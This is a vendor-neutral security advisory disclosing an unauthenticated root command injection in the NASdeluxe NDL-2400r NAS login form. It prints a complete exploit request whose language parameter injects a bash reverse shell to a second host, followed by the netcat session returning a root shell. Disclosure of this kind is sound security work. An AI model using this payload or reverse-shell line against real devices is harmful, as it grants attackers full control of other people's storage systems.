Advisory ID: SYSS-2016-065
The product "NASdeluxe NDL-2400r" is vulnerable to OS Command Injection as root. No credentials are required to exploit this vulnerability. The language parameter in the web interface login request of the product "NASdeluxe NDL-2400r" is vulnerable to an OS Command Injection as root. The SySS GmbH sent the following HTTPS request to the webinterface: POST /usr/usrgetform.html?name=index HTTP/1.1 Host: 192.168.1.1 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 97 lang=||`bash+-i+>%26+/dev/tcp/192.168.1.2/443+0>%261`&username=&pwd=&site=web_disk&login_btn=Einloggen After sending the request, a reverse shell connected back: # nc -lvvp 443 Listening on any address 443 (https) Connection from 192.168.1.1:49070 bash: no job control in this shell bash-3.00# whoami root bash-3.00# cat /img/version 2.01.09 The tested firmware version was 2.01.09. The most current version is 2.01.10 according to the web page of the vendor [3]. However there are no hints of a security update in the release notes [4]. Thus, the SySS GmbH assumes that this vulnerability is likely also present in the most current firmware version from 2009-10-22.
